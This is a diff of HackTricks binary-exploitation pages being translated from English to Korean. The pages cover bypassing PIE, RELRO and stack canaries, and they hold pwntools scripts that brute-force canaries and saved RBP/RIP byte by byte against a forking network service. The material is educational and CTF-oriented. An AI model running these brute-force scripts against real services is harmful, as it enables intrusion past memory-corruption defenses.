- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/)
- **Ret2...**
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,30 +2,30 @@
{{#include ../../../banners/hacktricks-training.md}}
## Basic Information
## 기본 정보
A binary compiled as PIE, or **Position Independent Executable**, means the **program can load at different memory locations** each time it's executed, preventing hardcoded addresses.
PIE로 컴파일된 바이너리는 **위치 독립 실행 파일**을 의미하며, **프로그램이 실행될 때마다 다른 메모리 위치에 로드될 수** 있어 하드코딩된 주소를 방지합니다.
The trick to exploit these binaries lies in exploiting the **relative addresses**—the offsets between parts of the program remain the same even if the absolute locations change. To **bypass PIE, you only need to leak one address**, typically from the **stack** using vulnerabilities like format string attacks. Once you have an address, you can calculate others by their **fixed offsets**.
이러한 바이너리를 악용하는 요령은 **상대 주소**를 이용하는 것입니다. 프로그램의 부분 간의 오프셋은 절대 위치가 변경되더라도 동일하게 유지됩니다. **PIE를 우회하려면 하나의 주소를 유출하기만 하면 됩니다.** 일반적으로 **스택**에서 포맷 문자열 공격과 같은 취약점을 사용하여 주소를 유출합니다. 주소를 얻으면 **고정 오프셋**을 통해 다른 주소를 계산할 수 있습니다.
A helpful hint in exploiting PIE binaries is that their **base address typically ends in 000** due to memory pages being the units of randomization, sized at 0x1000 bytes. This alignment can be a critical **check if an exploit isn't working** as expected, indicating whether the correct base address has been identified.\
Or you can use this for your exploit, if you leak that an address is located at **`0x649e1024`** you know that the **base address is `0x649e1000`** and from the you can just **calculate offsets** of functions and locations.
PIE 바이너리를 악용하는 데 유용한 힌트는 **기본 주소가 일반적으로 000으로 끝난다는 것**입니다. 이는 메모리 페이지가 무작위화의 단위로 0x1000 바이트 크기이기 때문입니다. 이 정렬은 **익스플로잇이 예상대로 작동하지 않을 경우 확인할 중요한 체크**가 될 수 있으며, 올바른 기본 주소가 식별되었는지를 나타냅니다.\
또한, 익스플로잇에 사용할 수 있습니다. 주소가 **`0x649e1024`**에 위치해 있다고 유출되면, **기본 주소는 `0x649e1000`**임을 알 수 있으며, 거기서 함수와 위치의 **오프셋을 계산**할 수 있습니다.
## Bypasses
## 우회 방법
In order to bypass PIE it's needed to **leak some address of the loaded** binary, there are some options for this:
PIE를 우회하려면 **로드된 바이너리의 주소를 유출해야** 합니다. 이를 위한 몇 가지 옵션이 있습니다:
- **Disabled ASLR**: If ASLR is disabled a binary compiled with PIE is always **going to be loaded in the same address**, therefore **PIE is going to be useless** as the addresses of the objects are always going to be in the same place.
- Be **given** the leak (common in easy CTF challenges, [**check this example**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit))
- **Brute-force EBP and EIP values** in the stack until you leak the correct ones:
- **ASLR 비활성화**: ASLR이 비활성화되면 PIE로 컴파일된 바이너리는 항상 **같은 주소에 로드됩니다.** 따라서 **PIE는 쓸모가 없게 됩니다.** 객체의 주소가 항상 같은 위치에 있기 때문입니다.
- 유출된 주소를 **제공받기** (쉬운 CTF 챌린지에서 일반적, [**이 예시를 확인하세요**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit))
- **스택에서 EBP와 EIP 값을 무작위로 시도**하여 올바른 값을 유출할 때까지 시도합니다:
{{#ref}}
bypassing-canary-and-pie.md
{{#endref}}
- Use an **arbitrary read** vulnerability such as [**format string**](../../format-strings/) to leak an address of the binary (e.g. from the stack, like in the previous technique) to get the base of the binary and use offsets from there. [**Find an example here**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass).
- [**포맷 문자열**](../../format-strings/)과 같은 **임의 읽기** 취약점을 사용하여 바이너리의 주소를 유출합니다 (예: 이전 기술처럼 스택에서) 바이너리의 기본 주소를 얻고 거기서 오프셋을 사용합니다. [**여기에서 예시를 찾으세요**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass).
## References
## 참고 자료
- [https://ir0nstone.gitbook.io/notes/types/stack/pie](https://ir0nstone.gitbook.io/notes/types/stack/pie)

View File

@ -2,55 +2,54 @@
{{#include ../../../banners/hacktricks-training.md}}
**If you are facing a binary protected by a canary and PIE (Position Independent Executable) you probably need to find a way to bypass them.**
**만약 당신이 canary와 PIE (Position Independent Executable)로 보호된 바이너리에 직면해 있다면, 이를 우회할 방법을 찾아야 할 것입니다.**
![](<../../../images/image (865).png>)
> [!NOTE]
> Note that **`checksec`** might not find that a binary is protected by a canary if this was statically compiled and it's not capable to identify the function.\
> However, you can manually notice this if you find that a value is saved in the stack at the beginning of a function call and this value is checked before exiting.
> **`checksec`**가 바이너리가 canary로 보호되고 있다는 것을 찾지 못할 수 있습니다. 이는 정적으로 컴파일되었고 함수를 식별할 수 없기 때문입니다.\
> 그러나 함수 호출의 시작 부분에서 스택에 값이 저장되고 이 값이 종료 전에 확인되는 것을 발견하면 수동으로 이를 알 수 있습니다.
## Brute-Force Addresses
In order to **bypass the PIE** you need to **leak some address**. And if the binary is not leaking any addresses the best to do it is to **brute-force the RBP and RIP saved in the stack** in the vulnerable function.\
For example, if a binary is protected using both a **canary** and **PIE**, you can start brute-forcing the canary, then the **next** 8 Bytes (x64) will be the saved **RBP** and the **next** 8 Bytes will be the saved **RIP.**
**PIE를 우회하기 위해**는 **주소를 유출해야** 합니다. 바이너리가 주소를 유출하지 않는 경우, 가장 좋은 방법은 **취약한 함수에서 스택에 저장된 RBP와 RIP를 브루트포스하는 것**입니다.\
예를 들어, 바이너리가 **canary**와 **PIE**로 보호되고 있다면, canary를 브루트포스한 후 **다음** 8 바이트(x64)는 저장된 **RBP**가 되고, **다음** 8 바이트는 저장된 **RIP**가 됩니다.
> [!TIP]
> It's supposed that the return address inside the stack belongs to the main binary code, which, if the vulnerability is located in the binary code, will usually be the case.
To brute-force the RBP and the RIP from the binary you can figure out that a valid guessed byte is correct if the program output something or it just doesn't crash. The **same function** as the provided for brute-forcing the canary can be used to brute-force the RBP and the RIP:
> 스택 내의 반환 주소는 주 바이너리 코드에 속한다고 가정합니다. 취약점이 바이너리 코드에 위치해 있다면, 일반적으로 이 경우가 됩니다.
바이너리에서 RBP와 RIP를 브루트포스하기 위해, 프로그램이 무언가를 출력하거나 단순히 충돌하지 않으면 유효한 추측 바이트가 맞다는 것을 알 수 있습니다. canary를 브루트포스하기 위해 제공된 **동일한 함수**를 사용하여 RBP와 RIP를 브루트포스할 수 있습니다:
```python
from pwn import *
def connect():
r = remote("localhost", 8788)
r = remote("localhost", 8788)
def get_bf(base):
canary = ""
guess = 0x0
base += canary
canary = ""
guess = 0x0
base += canary
while len(canary) < 8:
while guess != 0xff:
r = connect()
while len(canary) < 8:
while guess != 0xff:
r = connect()
r.recvuntil("Username: ")
r.send(base + chr(guess))
r.recvuntil("Username: ")
r.send(base + chr(guess))
if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()
if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()
print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base
print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base
# CANARY BF HERE
canary_offset = 1176
@ -67,30 +66,25 @@ print("Brute-Forcing RIP")
base_canary_rbp_rip = get_bf(base_canary_rbp)
RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:])
```
PIE를 무너뜨리기 위해 필요한 마지막 것은 **유출된** 주소에서 **유용한 주소**를 계산하는 것입니다: **RBP**와 **RIP**입니다.
The last thing you need to defeat the PIE is to calculate **useful addresses from the leaked** addresses: the **RBP** and the **RIP**.
From the **RBP** you can calculate **where are you writing your shell in the stack**. This can be very useful to know where are you going to write the string _"/bin/sh\x00"_ inside the stack. To calculate the distance between the leaked RBP and your shellcode you can just put a **breakpoint after leaking the RBP** an check **where is your shellcode located**, then, you can calculate the distance between the shellcode and the RBP:
**RBP**를 사용하여 **스택에 셸을 어디에 쓰고 있는지** 계산할 수 있습니다. 이는 스택 내에서 문자열 _"/bin/sh\x00"_을 쓸 위치를 아는 데 매우 유용할 수 있습니다. 유출된 RBP와 셸코드 간의 거리를 계산하려면 **RBP를 유출한 후에 브레이크포인트를 설정**하고 **셸코드가 어디에 위치하는지** 확인한 다음, 셸코드와 RBP 간의 거리를 계산할 수 있습니다:
```python
INI_SHELLCODE = RBP - 1152
```
From the **RIP** you can calculate the **base address of the PIE binary** which is what you are going to need to create a **valid ROP chain**.\
To calculate the base address just do `objdump -d vunbinary` and check the disassemble latest addresses:
**RIP**에서 **PIE 바이너리의 기본 주소**를 계산할 수 있으며, 이는 **유효한 ROP 체인**을 생성하는 데 필요합니다.\
기본 주소를 계산하려면 `objdump -d vunbinary`를 실행하고 최신 주소를 분해하여 확인하세요:
![](<../../../images/image (479).png>)
In that example you can see that only **1 Byte and a half is needed** to locate all the code, then, the base address in this situation will be the **leaked RIP but finishing on "000"**. For example if you leaked `0x562002970ecf` the base address is `0x562002970000`
이 예제에서는 모든 코드를 찾는 데 **1바이트 반만 필요**하다는 것을 볼 수 있습니다. 따라서 이 상황에서 기본 주소는 **유출된 RIP에 "000"으로 끝나는** 것입니다. 예를 들어, `0x562002970ecf`가 유출되었다면 기본 주소는 `0x562002970000`입니다.
```python
elf.address = RIP - (RIP & 0xfff)
```
## 개선 사항
## Improvements
[**이 게시물의 일부 관찰에 따르면**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#extended-brute-force-leaking), RBP 및 RIP 값을 누출할 때, 서버가 올바르지 않은 일부 값으로 충돌하지 않을 수 있으며 BF 스크립트는 올바른 값을 얻었다고 생각할 수 있습니다. 이는 **일부 주소는 정확한 값이 아니더라도 충돌하지 않을 수 있기 때문입니다**.
According to [**some observation from this post**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#extended-brute-force-leaking), it's possible that when leaking RBP and RIP values, the server won't crash with some values which aren't the correct ones and the BF script will think he got the good ones. This is because it's possible that **some addresses just won't break it even if there aren't exactly the correct ones**.
According to that blog post it's recommended to add a short delay between requests to the server is introduced.
해당 블로그 게시물에 따르면 서버에 대한 요청 사이에 짧은 지연을 추가하는 것이 권장됩니다.
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -4,32 +4,30 @@
## Relro
**RELRO** stands for **Relocation Read-Only**, and it's a security feature used in binaries to mitigate the risks associated with **GOT (Global Offset Table)** overwrites. There are two types of **RELRO** protections: (1) **Partial RELRO** and (2) **Full RELRO**. Both of them reorder the **GOT** and **BSS** from ELF files, but with different results and implications. Speciifically, they place the **GOT** section _before_ the **BSS**. That is, **GOT** is at lower addresses than **BSS**, hence making it impossible to overwrite **GOT** entries by overflowing variables in the **BSS** (rembember writing into memory happens from lower toward higher addresses).
**RELRO****Relocation Read-Only**의 약자로, **GOT (Global Offset Table)** 오버라이트와 관련된 위험을 완화하기 위해 바이너리에서 사용되는 보안 기능입니다. **RELRO** 보호에는 두 가지 유형이 있습니다: (1) **Partial RELRO**와 (2) **Full RELRO**. 두 가지 모두 ELF 파일의 **GOT**와 **BSS**를 재정렬하지만, 결과와 의미는 다릅니다. 구체적으로, **GOT** 섹션을 **BSS**보다 _앞에_ 배치합니다. 즉, **GOT**는 **BSS**보다 낮은 주소에 위치하므로, **BSS**에서 변수를 오버플로우하여 **GOT** 항목을 덮어쓰는 것이 불가능합니다 (메모리에 쓰는 것은 낮은 주소에서 높은 주소로 진행됩니다).
Let's break down the concept into its two distinct types for clarity.
명확성을 위해 이 개념을 두 가지 유형으로 나누어 보겠습니다.
### **Partial RELRO**
**Partial RELRO** takes a simpler approach to enhance security without significantly impacting the binary's performance. Partial RELRO makes **the .got read only (the non-PLT part of the GOT section)**. Bear in mind that the rest of the section (like the .got.plt) is still writeable and, therefore, subject to attacks. This **doesn't prevent the GOT** to be abused **from arbitrary write** vulnerabilities.
**Partial RELRO**는 바이너리의 성능에 큰 영향을 주지 않으면서 보안을 강화하는 더 간단한 접근 방식을 취합니다. Partial RELRO는 **.got을 읽기 전용으로 만듭니다 (GOT 섹션의 비-PLT 부분)**. 나머지 섹션(예: .got.plt)은 여전히 쓰기가 가능하므로 공격의 대상이 될 수 있습니다. 이는 **임의 쓰기** 취약점으로 인해 GOT가 악용되는 것을 **막지 않습니다**.
Note: By default, GCC compiles binaries with Partial RELRO.
참고: 기본적으로 GCC는 Partial RELRO로 바이너리를 컴파일합니다.
### **Full RELRO**
**Full RELRO** steps up the protection by **making the entire GOT (both .got and .got.plt) and .fini_array** section completely **read-only.** Once the binary starts all the function addresses are resolved and loaded in the GOT, then, GOT is marked as read-only, effectively preventing any modifications to it during runtime.
**Full RELRO****전체 GOT (both .got and .got.plt)와 .fini_array** 섹션을 완전히 **읽기 전용**으로 만들어 보호를 강화합니다. 바이너리가 시작되면 모든 함수 주소가 해결되고 GOT에 로드된 후, GOT는 읽기 전용으로 표시되어 런타임 중에 수정이 효과적으로 방지됩니다.
However, the trade-off with Full RELRO is in terms of performance and startup time. Because it needs to resolve all dynamic symbols at startup before marking the GOT as read-only, **binaries with Full RELRO enabled may experience longer load times**. This additional startup overhead is why Full RELRO is not enabled by default in all binaries.
It's possible to see if Full RELRO is **enabled** in a binary with:
그러나 Full RELRO의 단점은 성능과 시작 시간 측면에서 발생합니다. GOT를 읽기 전용으로 표시하기 전에 모든 동적 기호를 시작 시 해결해야 하므로, **Full RELRO가 활성화된 바이너리는 더 긴 로드 시간을 경험할 수 있습니다**. 이 추가 시작 오버헤드는 Full RELRO가 모든 바이너리에서 기본적으로 활성화되지 않는 이유입니다.
Full RELRO가 **활성화**되어 있는지 확인하는 방법은 다음과 같습니다:
```bash
readelf -l /proc/ID_PROC/exe | grep BIND_NOW
```
## 우회
## Bypass
Full RELRO가 활성화되어 있으면, 임의 실행을 얻기 위해 GOT 테이블에 쓰지 않는 다른 방법을 찾아야만 우회할 수 있습니다.
If Full RELRO is enabled, the only way to bypass it is to find another way that doesn't need to write in the GOT table to get arbitrary execution.
Note that **LIBC's GOT is usually Partial RELRO**, so it can be modified with an arbitrary write. More information in [Targetting libc GOT entries](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries)**.**
**LIBC의 GOT는 일반적으로 Partial RELRO이므로**, 임의 쓰기로 수정할 수 있습니다. 더 많은 정보는 [Targetting libc GOT entries](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries)**.**
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,73 +1,73 @@
# Stack Canaries
# 스택 카나리
{{#include ../../../banners/hacktricks-training.md}}
## **StackGuard and StackShield**
## **스택가드와 스택쉴드**
**StackGuard** inserts a special value known as a **canary** before the **EIP (Extended Instruction Pointer)**, specifically `0x000aff0d` (representing null, newline, EOF, carriage return) to protect against buffer overflows. However, functions like `recv()`, `memcpy()`, `read()`, and `bcopy()` remain vulnerable, and it does not protect the **EBP (Base Pointer)**.
**스택가드**는 **EIP (확장 명령 포인터)** 앞에 **카나리**로 알려진 특별한 값을 삽입합니다. 이 값은 `0x000aff0d`로, null, newline, EOF, carriage return을 나타내어 버퍼 오버플로우로부터 보호합니다. 그러나 `recv()`, `memcpy()`, `read()`, `bcopy()`와 같은 함수는 여전히 취약하며, **EBP (기본 포인터)**를 보호하지 않습니다.
**StackShield** takes a more sophisticated approach than StackGuard by maintaining a **Global Return Stack**, which stores all return addresses (**EIPs**). This setup ensures that any overflow does not cause harm, as it allows for a comparison between stored and actual return addresses to detect overflow occurrences. Additionally, StackShield can check the return address against a boundary value to detect if the **EIP** points outside the expected data space. However, this protection can be circumvented through techniques like Return-to-libc, ROP (Return-Oriented Programming), or ret2ret, indicating that StackShield also does not protect local variables.
**스택쉴드**는 **글로벌 리턴 스택**을 유지하여 모든 리턴 주소(**EIPs**)를 저장함으로써 스택가드보다 더 정교한 접근 방식을 취합니다. 이 설정은 오버플로우가 발생하더라도 해를 끼치지 않도록 하며, 저장된 리턴 주소와 실제 리턴 주소를 비교하여 오버플로우 발생을 감지할 수 있게 합니다. 또한, 스택쉴드는 리턴 주소가 예상 데이터 공간 외부를 가리키는지 감지하기 위해 경계 값과 비교할 수 있습니다. 그러나 이 보호는 Return-to-libc, ROP (리턴 지향 프로그래밍) 또는 ret2ret와 같은 기술을 통해 우회될 수 있으며, 이는 스택쉴드가 지역 변수를 보호하지 않음을 나타냅니다.
## **Stack Smash Protector (ProPolice) `-fstack-protector`:**
## **스택 스매시 프로텍터 (ProPolice) `-fstack-protector`:**
This mechanism places a **canary** before the **EBP**, and reorganizes local variables to position buffers at higher memory addresses, preventing them from overwriting other variables. It also securely copies arguments passed on the stack above local variables and uses these copies as arguments. However, it does not protect arrays with fewer than 8 elements or buffers within a user's structure.
이 메커니즘은 **EBP** 앞에 **카나리**를 배치하고, 지역 변수를 재조직하여 버퍼를 더 높은 메모리 주소에 위치시켜 다른 변수를 덮어쓰지 않도록 합니다. 또한, 지역 변수 위의 스택에서 전달된 인수를 안전하게 복사하고 이 복사본을 인수로 사용합니다. 그러나 8개 미만의 요소를 가진 배열이나 사용자의 구조 내의 버퍼는 보호하지 않습니다.
The **canary** is a random number derived from `/dev/urandom` or a default value of `0xff0a0000`. It is stored in **TLS (Thread Local Storage)**, allowing shared memory spaces across threads to have thread-specific global or static variables. These variables are initially copied from the parent process, and child processes can alter their data without affecting the parent or siblings. Nevertheless, if a **`fork()` is used without creating a new canary, all processes (parent and children) share the same canary**, making it vulnerable. On the **i386** architecture, the canary is stored at `gs:0x14`, and on **x86_64**, at `fs:0x28`.
**카나리**는 `/dev/urandom`에서 파생된 임의의 숫자이거나 기본값 `0xff0a0000`입니다. 이는 **TLS (스레드 로컬 저장소)**에 저장되어 스레드 간에 공유 메모리 공간이 스레드별 글로벌 또는 정적 변수를 가질 수 있도록 합니다. 이러한 변수는 처음에 부모 프로세스에서 복사되며, 자식 프로세스는 부모나 형제에게 영향을 주지 않고 데이터를 변경할 수 있습니다. 그럼에도 불구하고 **`fork()`를 사용하여 새로운 카나리를 생성하지 않으면 모든 프로세스(부모 및 자식)가 동일한 카나리를 공유하게 되어 취약해집니다.** **i386** 아키텍처에서는 카나리가 `gs:0x14`에 저장되고, **x86_64**에서는 `fs:0x28`에 저장됩니다.
This local protection identifies functions with buffers vulnerable to attacks and injects code at the start of these functions to place the canary, and at the end to verify its integrity.
이 지역 보호는 공격에 취약한 버퍼가 있는 함수를 식별하고 이러한 함수의 시작 부분에 카나리를 배치하기 위해 코드를 주입하며, 끝 부분에서 그 무결성을 확인합니다.
When a web server uses `fork()`, it enables a brute-force attack to guess the canary byte by byte. However, using `execve()` after `fork()` overwrites the memory space, negating the attack. `vfork()` allows the child process to execute without duplication until it attempts to write, at which point a duplicate is created, offering a different approach to process creation and memory handling.
웹 서버가 `fork()`를 사용할 때, 카나리 바이트를 하나씩 추측하는 무차별 대입 공격을 가능하게 합니다. 그러나 `fork()` 후에 `execve()`를 사용하면 메모리 공간이 덮어쓰여져 공격이 무효화됩니다. `vfork()`는 자식 프로세스가 쓰기를 시도할 때까지 중복 없이 실행할 수 있게 하여, 그 시점에 중복이 생성되어 프로세스 생성 및 메모리 처리에 대한 다른 접근 방식을 제공합니다.
### Lengths
### 길이
In `x64` binaries, the canary cookie is an **`0x8`** byte qword. The **first seven bytes are random** and the last byte is a **null byte.**
`x64` 바이너리에서 카나리 쿠키는 **`0x8`** 바이트 쿼드워드입니다. **첫 7바이트는 임의의 값**이고 마지막 바이트는 **null 바이트**입니다.
In `x86` binaries, the canary cookie is a **`0x4`** byte dword. The f**irst three bytes are random** and the last byte is a **null byte.**
`x86` 바이너리에서 카나리 쿠키는 **`0x4`** 바이트 더블워드입니다. **첫 3바이트는 임의의 값**이고 마지막 바이트는 **null 바이트**입니다.
> [!CAUTION]
> The least significant byte of both canaries is a null byte because it'll be the first in the stack coming from lower addresses and therefore **functions that read strings will stop before reading it**.
> 두 카나리의 가장 낮은 유효 바이트는 null 바이트입니다. 이는 스택에서 낮은 주소에서 오는 첫 번째 바이트이기 때문에 **문자열을 읽는 함수는 이를 읽기 전에 멈출 것입니다.**
## Bypasses
## 우회 방법
**Leaking the canary** and then overwriting it (e.g. buffer overflow) with its own value.
**카나리를 유출한 후** 자신의 값으로 덮어쓰기 (예: 버퍼 오버플로우).
- If the **canary is forked in child processes** it might be possible to **brute-force** it one byte at a time:
- **자식 프로세스에서 카나리가 포크되면** 한 바이트씩 **무차별 대입**이 가능할 수 있습니다:
{{#ref}}
bf-forked-stack-canaries.md
{{#endref}}
- If there is some interesting **leak or arbitrary read vulnerability** in the binary it might be possible to leak it:
- 바이너리에 흥미로운 **유출 또는 임의 읽기 취약점**이 있다면 이를 유출할 수 있습니다:
{{#ref}}
print-stack-canary.md
{{#endref}}
- **Overwriting stack stored pointers**
- **스택에 저장된 포인터 덮어쓰기**
The stack vulnerable to a stack overflow might **contain addresses to strings or functions that can be overwritten** in order to exploit the vulnerability without needing to reach the stack canary. Check:
스택 오버플로우에 취약한 스택은 **덮어쓸 수 있는 문자열 또는 함수의 주소를 포함할 수 있습니다**. 이를 통해 스택 카나리에 도달할 필요 없이 취약점을 악용할 수 있습니다. 확인하세요:
{{#ref}}
../../stack-overflow/pointer-redirecting.md
{{#endref}}
- **Modifying both master and thread canary**
- **마스터 및 스레드 카나리 모두 수정하기**
A buffer **overflow in a threaded function** protected with canary can be used to **modify the master canary of the thread**. As a result, the mitigation is useless because the check is used with two canaries that are the same (although modified).
카나리로 보호된 스레드 함수에서의 버퍼 **오버플로우**는 **스레드의 마스터 카나리를 수정하는 데 사용될 수 있습니다**. 결과적으로, 두 개의 동일한 카나리(수정된 것)가 사용되기 때문에 완화 조치는 무용지물이 됩니다.
Moreover, a buffer **overflow in a threaded function** protected with canary could be used to **modify the master canary stored in the TLS**. This is because, it might be possible to reach the memory position where the TLS is stored (and therefore, the canary) via a **bof in the stack** of a thread.\
As a result, the mitigation is useless because the check is used with two canaries that are the same (although modified).\
This attack is performed in the writeup: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
게다가, 카나리로 보호된 스레드 함수에서의 버퍼 **오버플로우**는 **TLS에 저장된 마스터 카나리를 수정하는 데 사용될 수 있습니다**. 이는 스레드의 **스택**에서 **bof**를 통해 TLS가 저장된 메모리 위치에 도달할 수 있기 때문입니다.\
결과적으로, 두 개의 동일한 카나리(수정된 것)가 사용되기 때문에 완화 조치는 무용지물이 됩니다.\
이 공격은 다음의 글에서 수행됩니다: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
Check also the presentation of [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015) which mentions that usually the **TLS** is stored by **`mmap`** and when a **stack** of **thread** is created it's also generated by `mmap` according to this, which might allow the overflow as shown in the previous writeup.
또한 [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015)에서의 발표를 확인하세요. 이 발표에서는 일반적으로 **TLS**가 **`mmap`**에 의해 저장되며, 스레드의 **스택**이 생성될 때도 `mmap`에 의해 생성된다고 언급합니다. 이는 이전 글에서 보여준 것처럼 오버플로우를 허용할 수 있습니다.
- **Modify the GOT entry of `__stack_chk_fail`**
- **`__stack_chk_fail`의 GOT 항목 수정하기**
If the binary has Partial RELRO, then you can use an arbitrary write to modify the **GOT entry of `__stack_chk_fail`** to be a dummy function that does not block the program if the canary gets modified.
바이너리에 Partial RELRO가 있는 경우, **`__stack_chk_fail`의 GOT 항목을** 더미 함수로 수정하여 카나리가 수정되더라도 프로그램이 차단되지 않도록 할 수 있습니다.
This attack is performed in the writeup: [https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/](https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/)
이 공격은 다음의 글에서 수행됩니다: [https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/](https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/)
## References
## 참고 문헌
- [https://guyinatuxedo.github.io/7.1-mitigation_canary/index.html](https://guyinatuxedo.github.io/7.1-mitigation_canary/index.html)
- [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)

View File

@ -2,55 +2,54 @@
{{#include ../../../banners/hacktricks-training.md}}
**If you are facing a binary protected by a canary and PIE (Position Independent Executable) you probably need to find a way to bypass them.**
**당신이 canary와 PIE (Position Independent Executable)로 보호된 바이너리에 직면해 있다면, 이를 우회할 방법을 찾아야 할 것입니다.**
![](<../../../images/image (865).png>)
> [!NOTE]
> Note that **`checksec`** might not find that a binary is protected by a canary if this was statically compiled and it's not capable to identify the function.\
> However, you can manually notice this if you find that a value is saved in the stack at the beginning of a function call and this value is checked before exiting.
> **`checksec`**가 바이너리가 canary로 보호되고 있음을 찾지 못할 수 있다는 점에 유의하세요. 이는 정적으로 컴파일되었고 함수를 식별할 수 없기 때문입니다.\
> 그러나 함수 호출의 시작 부분에서 스택에 값이 저장되고 이 값이 종료 전에 확인되는 것을 발견하면 수동으로 이를 알 수 있습니다.
## Brute force Canary
The best way to bypass a simple canary is if the binary is a program **forking child processes every time you establish a new connection** with it (network service), because every time you connect to it **the same canary will be used**.
간단한 canary를 우회하는 가장 좋은 방법은 바이너리가 **새로운 연결을 설정할 때마다 자식 프로세스를 포크하는 프로그램**인 경우입니다 (네트워크 서비스), 왜냐하면 연결할 때마다 **같은 canary가 사용되기 때문입니다**.
Then, the best way to bypass the canary is just to **brute-force it char by char**, and you can figure out if the guessed canary byte was correct checking if the program has crashed or continues its regular flow. In this example the function **brute-forces an 8 Bytes canary (x64)** and distinguish between a correct guessed byte and a bad byte just **checking** if a **response** is sent back by the server (another way in **other situation** could be using a **try/except**):
따라서 canary를 우회하는 가장 좋은 방법은 **문자 하나씩 brute-force**하는 것이며, 추측한 canary 바이트가 올바른지 확인하기 위해 프로그램이 충돌했는지 아니면 정상 흐름을 계속하는지를 확인할 수 있습니다. 이 예제에서는 함수가 **8 바이트 canary (x64)**를 brute-force하며, 올바르게 추측한 바이트와 잘못된 바이트를 **응답**이 서버에 의해 반환되는지를 **확인**하여 구별합니다 (다른 상황에서는 **try/except**를 사용할 수 있습니다):
### Example 1
This example is implemented for 64bits but could be easily implemented for 32 bits.
이 예제는 64비트로 구현되었지만 32비트로도 쉽게 구현될 수 있습니다.
```python
from pwn import *
def connect():
r = remote("localhost", 8788)
r = remote("localhost", 8788)
def get_bf(base):
canary = ""
guess = 0x0
base += canary
canary = ""
guess = 0x0
base += canary
while len(canary) < 8:
while guess != 0xff:
r = connect()
while len(canary) < 8:
while guess != 0xff:
r = connect()
r.recvuntil("Username: ")
r.send(base + chr(guess))
r.recvuntil("Username: ")
r.send(base + chr(guess))
if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()
if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()
print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base
print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base
canary_offset = 1176
base = "A" * canary_offset
@ -58,43 +57,41 @@ print("Brute-Forcing canary")
base_canary = get_bf(base) #Get yunk data + canary
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary
```
### Example 2
This is implemented for 32 bits, but this could be easily changed to 64bits.\
Also note that for this example the **program expected first a byte to indicate the size of the input** and the payload.
이것은 32비트에 대해 구현되었지만, 64비트로 쉽게 변경할 수 있습니다.\
또한 이 예제에서는 **프로그램이 입력의 크기를 나타내는 바이트와 페이로드를 먼저 기대한다는 점에 유의하십시오.**
```python
from pwn import *
# Here is the function to brute force the canary
def breakCanary():
known_canary = b""
test_canary = 0x0
len_bytes_to_read = 0x21
known_canary = b""
test_canary = 0x0
len_bytes_to_read = 0x21
for j in range(0, 4):
# Iterate up to 0xff times to brute force all posible values for byte
for test_canary in range(0xff):
print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="")
for j in range(0, 4):
# Iterate up to 0xff times to brute force all posible values for byte
for test_canary in range(0xff):
print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="")
# Send the current input size
target.send(len_bytes_to_read.to_bytes(1, "little"))
# Send the current input size
target.send(len_bytes_to_read.to_bytes(1, "little"))
# Send this iterations canary
target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little"))
# Send this iterations canary
target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little"))
# Scan in the output, determine if we have a correct value
output = target.recvuntil(b"exit.")
if b"YUM" in output:
# If we have a correct value, record the canary value, reset the canary value, and move on
print(" - next byte is: " + hex(test_canary))
known_canary = known_canary + test_canary.to_bytes(1, "little")
len_bytes_to_read += 1
break
# Scan in the output, determine if we have a correct value
output = target.recvuntil(b"exit.")
if b"YUM" in output:
# If we have a correct value, record the canary value, reset the canary value, and move on
